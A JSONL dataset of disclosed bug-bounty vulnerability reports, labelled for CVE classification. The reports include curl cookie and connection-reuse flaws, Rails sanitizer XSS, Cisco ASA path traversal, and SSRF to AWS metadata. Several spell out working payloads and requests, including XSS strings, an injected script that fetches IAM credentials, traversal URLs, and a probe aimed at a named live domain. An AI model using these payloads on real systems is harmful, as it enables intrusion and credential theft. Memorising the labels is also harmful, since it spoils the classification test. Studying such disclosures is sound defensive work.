+{"id": "1217604f470cecff20b0", "text": "[Unknown] CVE-2021-38314 @ https://www.mtn.co.rw\n\n## Summary:\nHello.\nI your domain https://www.mtn.co.rw was vulnerable to CVE-2021-38314\n\n##Description:\nThe Gutenberg Template Library & Redux Framework plugin <= 4.2.11 for WordPress registered several AJAX actions available to unauthenticated users in the includes function in redux-core/class-redux-core.php that were unique to a given site but deterministic and predictable given that they were based on an md5 hash of the site URL with a known salt value of '-redux' and an md5 hash of the previous hash with a known salt value of '-support'. These AJAX actions could be used to retrieve a list of active plugins and their versions, the site's PHP version, and an unsalted md5 hash of site&#8217;s AUTH_KEY concatenated with the `SECURE_AUTH_KEY`.\n\n\n##Referrence:\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38314\nhttps://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/\n\n\n## Steps To Reproduce:\nVisit https://www.mtn.co.rw/wp-admin/admin-ajax.php?action=136454233f7f7b567bf1310154c66f11 you will see ```893c4010bb377e5d41600958db3f8e17```\n\n## Supporting Material/References:\n{F1461742}\n\n## Impact\n\nCVE-2021-38314 \n\nThank you\n@aliyugombe", "source": "hackerone", "timestamp": "2022-09-05", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "7812541987d5a23df8d2", "text": "[Improper Input Validation] CVE-2022-35252: control code in cookie denial of service\n\n## Summary:\nI took a look at https://github.com/curl/curl/pull/9048/commits/d7bcbc7d8d4b6d972d3da12d54819169a19c287b (a sneak peek on a vulnerability to be announced tomorrow). My guess for that vulnerability is that since cookies are persistent, someone who can trick curl into storing cookies can store large amounts of cookies into curl cookie store, which will prevent curl from ever interacting with the server (due to large request being generated causing a 400 error)\n\nI found a separate way to do this, curl does not implement character check on cookie name or value when saving to cookie store. So for example a form feed '\\f' can be saved in curl's cookie store. When form feed is sent by curl to a server such as Apache, Apache will respond with 400 Error (historically, Apache would accept, however now due to HTTP smuggling concerns, Apache will now strictly reject any such control characters.), preventing someone from ever interacting the server with the cookie store.\n\nAccording to the spec, cookies should not contain control characters anyway, see https://datatracker.ietf.org/doc/html/rfc6265#section-4.1.1.\n\n## Steps To Reproduce:\n\n1. \n\nIn test.php,\n`````\n<?php\necho(\"HTTP/1.1 200 OK\\r\\nDate: Fri, 29 Apr 2022 10:11:55 GMT\\r\\nServer: Apache/2.4.43 (Debian)\\r\\nSet-Cookie: a=b\\f; \\r\\nContent-Length: 0\\r\\nConnection: close\\r\\nContent-Type: text/html; charset=UTF-8\\r\\n\\r\\n\");\n`````\nSetup malicious server,\n`````\nphp test.php | nc -nvlp 3333\n`````\n\n2. Cookie with form feed is saved, see 0c byte before the 0a terminator\n`````\ncurl -c cookies.txt http://127.0.0.1:3333\n`````\n`````\n➜  ~ xxd cookies.txt\n00000000: 2320 4e65 7473 6361 7065 2048 5454 5020  # Netscape HTTP \n00000010: 436f 6f6b 6965 2046 696c 650a 2320 6874  Cookie File.# ht\n00000020: 7470 733a 2f2f 6375 726c 2e73 652f 646f  tps://curl.se/do\n00000030: 6373 2f68 7474 702d 636f 6f6b 6965 732e  cs/http-cookies.\n00000040: 6874 6d6c 0a23 2054 6869 7320 6669 6c65  html.# This file\n00000050: 2077 6173 2067 656e 6572 6174 6564 2062   was generated b\n00000060: 7920 6c69 6263 7572 6c21 2045 6469 7420  y libcurl! Edit \n00000070: 6174 2079 6f75 7220 6f77 6e20 7269 736b  at your own risk\n00000080: 2e0a 0a31 3237 2e30 2e30 2e31 0946 414c  ...127.0.0.1.FAL\n00000090: 5345 092f 0946 414c 5345 0930 0961 0962  SE./.FALSE.0.a.b\n000000a0: 0c0a                                     ..\n`````\n3. Apache will now respond with \"400 bad request\" on further request to the server using the poisoned cookie store. This because Apache rejects control characters other than \\r or \\n in the request head.\n`````\n* Trying 127.0.0.1:80...\n* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)\n> GET / HTTP/1.1\n> Host: 127.0.0.1\n> User-Agent: curl/7.83.1\n> Accept: */*\n> Cookie: a=b\n\n> \n* Mark bundle as not supporting multiuse\n< HTTP/1.1 400 Bad Request\n< Date: Tue, 21 Jun 2022 04:09:08 GMT\n< Server: Apache/2.4.43 (Debian)\n< Content-Length: 301\n< Connection: close\n< Content-Type: text/html; charset=iso-8859-1\n< \n<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>400 Bad Request</title>\n</head><body>\n<h1>Bad Request</h1>\n<p>Your browser sent a request that this server could not understand.<br />\n</p>\n<hr>\n<address>Apache/2.4.43 (Debian) Server at 127.0.1.1 Port 80</address>\n</body></html>\n`````\n\n## Impact\n\nAn attacker can possibly MiTM the connection and poison the cookie store using cookies with control characters, preventing a user / application from ever interacting with the particular HTTP server with the same cookie store.\n\nPossibly same impact as the \"cookie limit\" vulnerability to be announced tomorrow.", "source": "hackerone", "timestamp": "2022-08-31", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "ece881d3aba54a6ace69", "text": "[Privacy Violation] Avatar URL is exposed in patron export for secret donations\n\nWhen user sets their donation Privacy level to \"Secret\" they are indicating that they don't want to be identified by the donation recipient.\n\nBy exporting the `patron_avatar_url`, in `https://liberapay.com/<account_name>/patrons/export.csv`, the user might be exposed just by doing a reverse image search for such avatar.\n\n## Impact\n\nI would hope that there is no gain in trying to deanonymise their donors, but including the avatar should not be needed and I hope it should be an easy fix. \n\n\nI do not wish to be compensated in any way, the reason for using HackerOne is just that I don't want to disclose the issue on Github. Thank you for your great service! :)", "source": "hackerone", "timestamp": "2023-12-15", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "f49f4f19a4357058e052", "text": "OctoberCMS v3.4.0 (Blog) Stored Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2023-12-03", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "bd79fb88d84b3f6ff9e4", "text": "[Allocation of Resources Without Limits or Throttling] CVE-2023-23916: HTTP multi-header compression denial of service\n\n## Summary:\nA server can send an HTTP response with many occurrences of Transfer-Encoding and/or Content-Encoding headers. Each listed encoding allocates a buffer. The number of encodings listed within each header is already bounded but the number of headers is not, allowing an HTTP response to consume all available memory.\n\n## Steps To Reproduce:\nUsing the curl test environment:\n\n  1. Extract test418 from the attached patch\n  2. runtests.pl 418\n \n## Supporting Material/References:\nPatch fixing the problem and new test for the case.\n\n## Impact\n\nDenial of service.", "source": "hackerone", "timestamp": "2023-02-20", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "3bd4de434a516d7ae6a1", "text": "[Open Redirect] Open Redirect\n\nThe following URL is vulnerable to an open redirect (it will redirect to example.com):\nhttps://█████?redirecturl=https://example.com\nI hope you know the impact of open redirect and more info refer\n\n## Impact\n\nUser can be redirect to malicious site.", "source": "hackerone", "timestamp": "2023-01-29", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "71a68c565011eb299699", "text": "[Improper Access Control - Generic] IDOR: Authorization Bypass in LockReport Mutation for public reports\n\n**Summary:**\nHello team, I can lock any public report. \n\n\n### Steps To Reproduce\n\n1. Using your account, make this request. Notice its successful. Report id is the id of any public report.\n```\n{\"operationName\":\"LockReport\",\"variables\":{\"product_area\":\"reports\",\"product_feature\":\"inbox\",\"reportId\":\"Z2lkOi8vaGFja2Vyb25lL1JlcG9ydC8yMTIyNjcx\"},\"query\":\"mutation LockReport($reportId: ID!) {\\n   lockReport(\\n    input: {report_id: $reportId}\\n  ) {\\n was_successful\\n    errors {\\n      edges {\\n        node {\\n          id\\n          error_code\\n          field\\n          message\\n          __typename\\n        }\\n        __typename\\n      }\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n```\n\nPOC report: \nhttps://hackerone.com/reports/2122671 (accidental, Stopped testing after that)\n\n\n\n## Impact\n\nLock any report", "source": "hackerone", "timestamp": "2023-09-13", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "e5c56f4557e8086b0ba2", "text": "[Open Redirect] Attacker can smuggle a malicious domain in a URI object.\n\nSimple example:\n```\nuser_provided_redirect_uri = \"http:////malware.com/real/path\"\nevil_uri = URI.parse(user_provided_redirect_uri)\nevil_uri.host          # => nil\nevil_uri.to_s          # => \"http://malware.com/real/path\"\n```\n\nIn many common URI-validation scenarios, the target system will likely parse a user provided URI, and then check the host against some internal validation criteria, eg, that it's a host owned by that system. Seeing a blank hostname will often cause the system to assume that the link only contains a path, not a domain,  so any validation or checking of that domain won't happen.\n\nHowever, if the URI object is turned back into a string, the resulting URI contains the malicious domain, as you can see above. The actual behavior is to remove two of the leading slashes, so starting with 4 leading slashes will give you 2 leading slashes in the output, which is a well-formed (and in this case malicious) URL.\n\nIn addition, most browsers (all that I checked on) will allow multiple slashes before the domain name -- type \"http:////google.com\" in to your browser, and you will go to google. So, using the original string will also result in a redirection to the malicious host.\n\nBottom line, this bug is almost certainly the cause of a large number of open redirect vulnerabilities in Ruby based web apps. The most obvious use would be to craft malicious URIs for phishing purposes, but it could be used to potentially circumvent any host-checking logic in a URI validator.\n\nThe cause of the bug can be seen here: https://github.com/ruby/ruby/blob/trunk/lib/uri/rfc3986_parser.rb#L6 (if you can spot it in there). The real smoking gun is comment on the line above it that says the regex is modified from the RFC to allow empty host names. A little consideration will show why this causes the above behavior, and why it ends up stripping the initial two leading slashes.", "source": "hackerone", "timestamp": "2022-12-13", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "2aa9e06ce45e17a6db45", "text": "[Improper Access Control - Generic] [h1-2102] Improper Access Control at https://shopify.plus/[id]/users/api in operation UpdateOrganizationUserRole\n\n## Summary:\nThere is an access control issue that happens when a Shopify Plus admin tries to assign a role to a user in another organisation. While the response shows an error message, an email is sent to the shop admin with the first name, last name and email address of the user.\n\n## Steps To Reproduce:\n1. Log in to your Shopify Plus account https://shopify.plus/login\n2. Go to `Administration` -> `Users` -> `Roles` -> `Create role` then proceed to create a role\n3. Go to `Administration` -> `Users` -> `All users` -> `Add users` then proceed to create a user\n4. In `Administration` -> `Users` -> `All users`, click on the new user to go to the user page (ie. https://shopify.plus/34808573/users/34057938)\n6. In `Access and permissions`, in the `Role` section, click on `Change access` then `Change role`\n\n    {F1168058} \n\n7. Change the role, and notice the following HTTP request :\n\n    ```http\nPOST /34808573/users/api HTTP/1.1\nHost: shopify.plus\n[...]\n\n    {\"operationName\":\"UpdateOrganizationUserRole\",\"variables\":{\"id\":\"Z2lkOi8vb3JnYW5pemF0aW9uL09yZ2FuaXphdGlvblVzZXIvMzQwNzE2MzI=\",\"roleId\":\"Z2lkOi8vb3JnYW5pemF0aW9uL1JvbGUvNjYxAAA=\"},\"query\":\"mutation UpdateOrganizationUserRole($id: OrganizationUserID!, $roleId: RoleID!) {\\n  updateOrganizationUserRole(id: $id, roleId: $roleId) {\\n    organizationUser {\\n      id\\n      status\\n      role {\\n        id\\n        name\\n        __typename\\n      }\\n      propertyAccess {\\n        shops {\\n          edges {\\n            node {\\n              shopUserId\\n              status\\n              __typename\\n            }\\n            __typename\\n          }\\n          __typename\\n        }\\n        apps {\\n          edges {\\n            node {\\n              status\\n              __typename\\n            }\\n            __typename\\n          }\\n          __typename\\n        }\\n        __typename\\n      }\\n      __typename\\n    }\\n    userErrors {\\n      field\\n      message\\n      __typename\\n    }\\n    message\\n    operationStatus\\n    __typename\\n  }\\n}\\n\"}\n```\n8. Base64-decode the `id` value and change the user to `34071632` then send the request again\n9. The request will fail, but you should receive an email containing Anatoly information (first name, last name and email address).\n    {F1168063}\n\n## Impact\n\nA Shopify Plus admin can retrieve PII from another user outside his organisation (first name, last name and email address).", "source": "hackerone", "timestamp": "2022-04-21", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "b63e1e078bcdee8de761", "text": "Osprey Pump Controller 1.0.1 Authentication Bypass Credentials Modification\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2023-02-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "d5c2628e2d26c42cc166", "text": "[Path Traversal] [CVE-2020-3452] Unauthenticated file read in Cisco ASA\n\ni found out that https://█████/ was vulnerable to CVE-2020-3452\n\nThe IP has a SSL certificate pointing to ██████████\ncurl -kv https://███████/\n\nOutput;\n```\nServer certificate:\n███\n```\n\n## Impact\n\nAnyone can read any file present on the server.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-3452\n\n## Steps to Reproduce\nYou can test it by visiting the URL:\n1. https://█████████/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua\n2. https://█████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\n\n## Suggested Mitigation/Remediation Actions\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86", "source": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "ce62b170ed9efd588382", "text": "[Classic Buffer Overflow] Use of Unsafe function || Strcpy\n\n## Summary:\nIt was observed that application is using strcpy() function which may cause buffer overflow attacks.\n\n#Affected Code\nhttps://github.com/curl/curl\n\n# Affected Lines\n1. Line 195 of curl-master\\tests\\libtest\\stub_gssapi.c\n2. Line 204,212,216 curl-master\\tests\\server\\socksd.c\n\n## Steps To Reproduce:\nLets first discuss what is the issue with strcpy function. basically it takes 2 arguments 1 dst 2 source. the issue is if the dst size is small and the source size is more without a null terminating value so it will overwrite the memory. so in these case 1 got the several lines about strcpy function. but i'm discussing 1 with you rest with remain the same.\n\n        else if(!strcmp(key, \"backend\")) {\n          strcpy(config.addr, value);\n\n        else if(!strcmp(key, \"password\")) {\n          strcpy(config.password, value);\n\n  char addr[32]; /* backend IPv4 numerical */\n  char user[256];\n  char password[256];\n\nhere it is copying the value into config.addr and the size of addr is 32 and same goes for password is  256. now let suppose the value of value is more than 32 in case of add and in case of password it is more than 256. than it can be buffer overflow attack here. so here it will be secure if you use the functions like snprintf , strlcpy. or dynamically assign the size to the array.\n\n## Supporting Material/References:\nhttps://cwe.mitre.org/data/definitions/676.html\nhttps://www.geeksforgeeks.org/why-strcpy-and-strncpy-are-not-safe-to-use/\n\n# Recommendation:\nIt is recommended to use below mentioned functions to avoid buffer overflow attacks\n1. snprintf\n2. strlcpy\n\n  * [attachment / reference]\nPlease find the attached screenshots for your reference.\n\n## Impact\n\nThe strcpy() function does not specify the size of the destination array, so buffer overrun is often a risk. Using strcpy() function to copy a large character array into a smaller one is dangerous, but if the string will fit, then it will not be worth the risk. If the destination string is not large enough to store the source string then the behavior of strcpy() is unspecified or undefined.", "source": "hackerone", "timestamp": "2022-03-09", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "8e272155fe4224ab386b", "text": "[Unknown] CVE-2023-28322: more POST-after-PUT confusion\n\nOriginal Report:https://hackerone.com/reports/1954658\n\n## Impact\n\nCWE-440: Expected Behavior Violation\nAn attacker could potentially inject data, either from stdin or from an unintended buffer. Further, without even an active attacker, this could lead to segfaults or sensitive information being exposed to an unintended recipient.", "source": "hackerone", "timestamp": "2023-06-25", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "64964d59c175c2b4ae20", "text": "[Code Injection] CVE-2022-21831: Possible code injection vulnerability in Rails / Active Storage\n\nOriginal report: https://hackerone.com/reports/1154034\nRails advisory: https://discuss.rubyonrails.org/t/cve-2022-21831-possible-code-injection-vulnerability-in-rails-active-storage/80199\nBlogpost: https://blog.convisoappsec.com/en/cve-2022-21831-overview-of-the-security-issues-we-found-in-railss-image-processing-api/\n\nIf the report is eligible for a bounty, please split it equally between me and @rsilva, if possible.\n\n## Impact\n\nVulnerable code patterns could allow the attacker to achieve RCE.", "source": "hackerone", "timestamp": "2022-09-10", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "6256152a180e512620e5", "text": "[Business Logic Errors] CVE-2022-27775: Bad local IPv6 connection reuse\n\n## Summary:\nCurl doesn't consider IPv6 address zone index when doing connection reuse. if connection exists to specific IPv6 address  (and other conditions for connection reuse are fulfilled) it will be reused for connections regardless of the zone index.\n\n## Steps To Reproduce:\n\n  1.Set up a fake server: `echo -ne 'HTTP/1.1 200 OK\\r\\nContent-Length: 6\\r\\n\\r\\nHello\\n' | nc -6 -v -l -p 9999`\n  2. curl \"http://[ipv6addr]:9999/x\" \"http://[ipv6addr%25lo]:9999/y\"\n\nBoth connections arrive to the test server:\n\n```\nListening on :: 9999\nConnection received on somehost someport\nGET /x HTTP/1.1\nHost: [ipv6addr]:9999\nUser-Agent: curl/7.83.0-DEV\nAccept: */*\n\nGET /y HTTP/1.1\nHost: [ipv6addr]:9999\nUser-Agent: curl/7.83.0-DEV\nAccept: */*\n```\n\nClearly the 2nd connection should fail as the address is not available at interface lo. (Lone connection to `http://[ipv6addr%25lo]:9999/` fails with `curl: (7) Couldn't connect to server`)\n\n## Impact\n\nReuse of wrong connection leading to potential disclosure of confidential information.\n\nPractical impact of this vulnerability is very low, due to the rarity of situation where interfaces would have identical addresses. The attacker would also need to be able to manipulate the addresses the victim app connects to (making it first connect to interface controlled by the attacker).Finally, it doesn't seem likely that TLS would be used for such connections, making the scenario rather insecure to begin with.It seems likely that if the attacker has ability to set up interfaces with identical addresses they would have easier way to compromise the system anyway.", "source": "hackerone", "timestamp": "2022-04-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "577bdf6b5f689910afb3", "text": "[Cross-site Scripting (XSS) - Generic] CVE-2022-23519: Rails::Html::SafeListSanitizer vulnerable to XSS when certain tags are allowed (math+style || svg+style)\n\nThe following is from: https://hackerone.com/reports/1656627\n\n## Intro\n\nThe Rails HTML sanitzier allows to set certain combinations of tags in it's allow list that are not properly handled. \nSimilar to the report [1530898](https://hackerone.com/reports/1530898), which identified the combination`select` and `style` as vulnerable,\nmy fuzz testing from today suggests that also `svg` and `style` as well as `math` and `style` allow XSS.\nThe following are PoCs for each of these allow list:\n- `svg` and `style`: `<svg><style><script>alert(1)</script></style></svg>`\n- `math` and `style`: `<math><style><img src=x onerror=alert(1)></style></math>`\n\nSee the following IRB session: \n```\nirb(main):016:0> require 'rails-html-sanitizer'\n=> false\nirb(main):017:0> Rails::Html::SafeListSanitizer.new.sanitize(\"<svg><style><script>alert(1)</script></style></svg>\", tags: [\"svg\", \"style\"]).to_s\n=> \"<svg><style><script>alert(1)</script></style></svg>\"\nirb(main):018:0> Rails::Html::SafeListSanitizer.new.sanitize(\"<math><style><img src=x onerror=alert(1)></style></math>\", tags: [\"math\", \"style\"]).to_s\n=> \"<math><style><img src=x onerror=alert(1)></style></math>\"\nirb(main):019:0> puts Rails::Html::Sanitizer::VERSION\n1.4.3\n=> nil \n```\n\n## Sample Vulnerable Rails Application\n\nTo build a sample rails application that is vulnerable, I've used the following `Dockerfile`:\n\n```\nFROM ruby:3.1.2\n\nRUN apt-get update && apt-get install -y vim\n\nWORKDIR /usr/src/app\nRUN gem install rails && rails new myapp\nWORKDIR /usr/src/app/myapp\n\n\nCOPY build-rails-app.sh ./build-rails-app.sh\nRUN sh ./build-rails-app.sh\nRUN RAILS_ENV=production rails assets:precompile\n\nCMD [\"./bin/rails\", \"server\", \"-b\", \"0.0.0.0\", \"-e\", \"production\"]\n```\n\nIn the same directory, put a shell script `build-rails-app.sh` which writes the app:\n\n```\n#!/ibn/sh\n\n# make routes\ncat << EOF > ./config/routes.rb\nRails.application.routes.draw do\n  get \"/poc1\", to: \"poc1#index\"\n  get \"/poc2\", to: \"poc2#index\"\nend\nEOF\n\n# make Poc1 endpoint\n# http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E\nbin/rails generate controller Poc1 index --skip-routes\n\ncat << EOF > ./app/controllers/poc1_controller.rb\nclass Poc1Controller < ApplicationController\n  def index\n    @name = params[:name] || \"put your name here\"\n  end\nend\nEOF\n\n\ncat << EOF > ./app/views/poc1/index.html.erb\n<h1> Hello <%= sanitize @name, tags: [\"svg\", \"style\"] %> </h1>\n<br>\nPoC with a sanitized, reflected parameter 'name' for which 'svg' annd 'style' tags are allowed.\n<br>\n<%= link_to \"Go to PoC\", \"/poc1?name=<svg><style><script>alert(1)</script></style><svg>\" %>\n<br>\n<br>\nUsing: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %>\nEOF\n\n\n# make Poc2 endpoint\n# http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E\nbin/rails generate controller Poc2 index --skip-routes\n\ncat << EOF > ./app/controllers/poc2_controller.rb\nclass Poc2Controller < ApplicationController\n  def index\n    @name = params[:name] || \"put your name here\"\n  end\nend\nEOF\n\n\ncat << EOF > ./app/views/poc2/index.html.erb\n<h1> Hello <%= sanitize @name, tags: [\"math\", \"style\"] %> </h1>\n<br>\nPoC with a sanitized, reflected parameter 'name' for which 'math' annd 'style' tags are allowed.\n<br>\n<%= link_to \"Go to PoC\", \"/poc2?name=<math><style><img src=x onerror=alert(1)></style><math>\" %>\n<br>\n<br>\nUsing: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %>\nEOF\n```\n\nWith the following `Makefile` you can build and run the application\n\n```\n.PHONY: build\nbuild:\n\tdocker build -t local/railspoc:latest .\n\n.PHONY: run\nrun:\n\tdocker run -it --rm -p 127.0.0.1:8888:3000 local/railspoc:latest\n```\n\nNow you have a Rails application with two routes `/poc1` and `/poc2` running locally. Visit:\n- [http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E](http://localhost:8888/poc1?n", "source": "hackerone", "timestamp": "2023-01-04", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "ec6981f73b88d317ebfa", "text": "[Server-Side Request Forgery (SSRF)] SSRF in Functional Administrative Support Tool pdf generator (████) [HtUS]\n\n## Summary:\nI found that it is possible to inject a javascript payload during the PDF form creation process, which is then executed by the checklist application server.\n\n## Vulnerable Software: Functional Administrative Support Tool (FAST) v1.0\n\n## Intro: \n\n██████████\n\nAdministrative clerks create a dynamic action items by guiding a███ through targeted questions designed to draw out required administrative actions that are required and trigger of additional processes that need to be completed.\n\nAfter completing the question and answer process ( point 3. Get Action Items ) the application offers 2 options: Send the report by Email or print (See PDF).\n\nWhen the user clicks on (View PDF) they are redirected to the URL:███████/print/checklist/fast_session_XXXXXX.pdf . This is where the user will have access to his PDF form generated dynamically by the███ system.\n\nnote: XXXXXX is the \"session\" assigned by the system to identify a form.\n\n## Steps To Reproduce:\n1. Go to███/ and select \"BEGIN NEW SESSION\", enter a MCC code Ex. \"h99\" and SUBMIT\n2. with burp suite on, select a process, and fill in the data randomly up to point 3. (EDIPI code is a 10 chars long number. Ex. 0123456789) - click CONTINUE\n\n3. in point 3, (Get Action Items) click on PRINT (VIEW PDF) - A window will open with the dynamically generated PDF exposing the data that we complete.\n\n4. observe in burp suite the last request made to /api/save/ proceed to right click and send to \"Repeater\"\n\n5. modify value \"name\" of the json object \"globalInfo\" by the payload:\n\n`</script><script>document.write('<iframe src=\\\"http://███/latest/meta-data/iam/security-credentials/EC2CloudWatchRole\\\" width=1000px height=1000px>')</script>`\n\nand click Send request. If everything went well, the server responds \"status ok\"\n\n6. Refresh form URL. Ex.████████/print/checklist/fast_session_XXXXXX.pdf\n\nfor this PoC. AWS secretkeys were accessed:\n\n`{  \"Code\" : \"Success\",  \"LastUpdated\" : \"2022-07-06T02:57:53Z\",  \"Type\" : \"AWS-HMAC\",  \"AccessKeyId\" : \"███\",  \"SecretAccessKey\" : \"████\",  \"Token\" :\"██████\",  \"Expiration\" : \"2022-07-06T09:04:49Z\"}`\n\n## Supporting Material/References:\n\n* https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/\n* https://docs.google.com/presentation/d/1JdIjHHPsFSgLbaJcHmMkE904jmwPM4xdhEuwhy2ebvo/htmlpresent\n* https://hackerone.com/reports/508459\n* https://hackerone.com/reports/53088\n\n## Impact\n\nAn attacker can inject malicious javascript payloads in the PDF generation process and executed by the checklist application server. An attacker could use this to Steal  credentials or other sensitive information from ████ AWS Instance.", "source": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "6e3b5602dbfab4476abd", "text": "[Server-Side Request Forgery (SSRF)] SSRF ACCESS AWS METADATA - █████\n\nHi Security Team,\nBased on https://hackerone.com/hack-us-h1c challenge, I have urgent vulnerability and the challenge doesn't accept reprots for now 1:56 AM \n.\nI have found a SSRF Vulnerability which allow access to the AWS metadata, using Parameter `?url=` as shown blew\nAn attacker can tunnel into internal networks and access sensitive internal data such as AWS meta data information.\n\n.\n**Http Request**\n```http\nGET /api/v1/download-url?url=http://█████/latest/meta-data/ HTTP/1.1\nHost: ████████\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccess-Control-Allow-Origin: *\nReferer: https://████/\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\n\n\n```\n.\n**Http Response**\n```http\nHTTP/1.1 200 OK\nServer: nginx/1.21.6\nDate: Mon, 04 Jul 2022 05:42:12 GMT\nContent-Type: text/plain\nConnection: close\nStrict-Transport-Security: max-age=31536000; includeSubdomains\nX-Frame-Options: DENY\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nX-Download-Options: noopen\nX-Permitted-Cross-Domain-Policies: none\nContent-Security-Policy: object-src 'none'; script-src 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;\nFront-End-Https: on\nContent-Length: 313\n\nami-id\nami-launch-index\nami-manifest-path\nblock-device-mapping/\nevents/\nhostname\nidentity-credentials/\ninstance-action\ninstance-id\ninstance-life-cycle\ninstance-type\nlocal-hostname\nlocal-ipv4\nmac\nmetrics/\nnetwork/\nplacement/\nprofile\npublic-hostname\npublic-ipv4\npublic-keys/\nreservation-id\nsecurity-groups\nservices/\n```\n.\n.\n**SCREEN SHOT**\n████\n.\n.\n\n## Impact\n\nSSRF Vulnerability \nRemote Access to AWS metadata\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1 - Visit https://██████████\n2 - Press 'Import from URL' Button & Enter SSRF Payload in the Dialog Box\n3 - Intercept the Request & observe the response\n\n## Suggested Mitigation/Remediation Actions\nSanitize user supplied input in paramter `?url=`\nBlock access to internal networks", "source": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "dbc5cbfc7b5caa51eec0", "text": "[Violation of Secure Design Principles] Ability to control the filename when uploading a logo or favicon on theming\n\n## Summary:\nHello,\n\nWhen uploading a logo or favicon the filename can be controlled by attacker since the ```key``` can be modified which serves as the  filename.\n\n\n{F2044799}\n\n{F2044800}\n\n{F2044798}\n\nDue to an error the path is also disclosed\n\n{F2044802}\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n1. go to ```http://localhost/settings/admin/theming```\n2. upload  a logo or favicon\n3. intercept the request using burp\n4. modify the key\n\n## Impact\n\nThe attacker can upload any files directly in the webapp and path disclosure. Combining both information can be useful in later attacks.", "source": "hackerone", "timestamp": "2023-04-10", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "fe57ca9652be68339dd2", "text": "[Cleartext Transmission of Sensitive Information] CVE-2023-23915: HSTS amnesia with --parallel\n\n## Summary:\ncurl overwrites HSTS cache entries if requests are performed in parallel.\n\n## Steps To Reproduce:\n\n  1. `curl --parallel --hsts hsts.txt https://site1.tld  https://site2.tld https://site3.tld`\n\nOnly one of the sites contacted will have entry in `hsts.txt` afterwards. Non-TLS connection to the other sites will not protected by TLS.\n\n## Impact\n\nRequest performed over insecure channels unexpectedly and loss of confidentiality and integrity.", "source": "hackerone", "timestamp": "2023-02-15", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "a50ca615ca8c022d230e", "text": "[Information Disclosure] Any organization's assets pending review can be downloaded\n\n# Steps to reproduce\n- sign in as any user\n- visit https://hackerone.com/organizations/:handle/assets/download_pending_reviews.csv, where `:handle` is the organization you want to download the assets for\n\n## Impact\n\nThis may leak sensitive data about an organization's attack surface.", "source": "hackerone", "timestamp": "2022-11-29", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "3e15454ad4bf07d76d7b", "text": "[Cleartext Storage in a File or on Disk] OAuth2 client_secret stored in plain text in the database\n\nIf an attacker would obtain a dumb of the database they could read out the OAuth2 client secret trivially.\nhttps://github.com/nextcloud/server/blob/master/apps/oauth2/lib/Controller/OauthApiController.php#L128\n\nWhile I realise this is a big if it is not that hard to make sure the client secret is stored properly hashed.\nOr at the very least make sure it is stored encrypted. (however non recoverable has the preference here I'd say)\n\n## Impact\n\nAn attacker obtaining the read access to a dump of the database can trivially impersonate any OAuth2 client.", "source": "hackerone", "timestamp": "2023-11-15", "split": "val", "label_source": "within_source_cve_index", "label": 0}
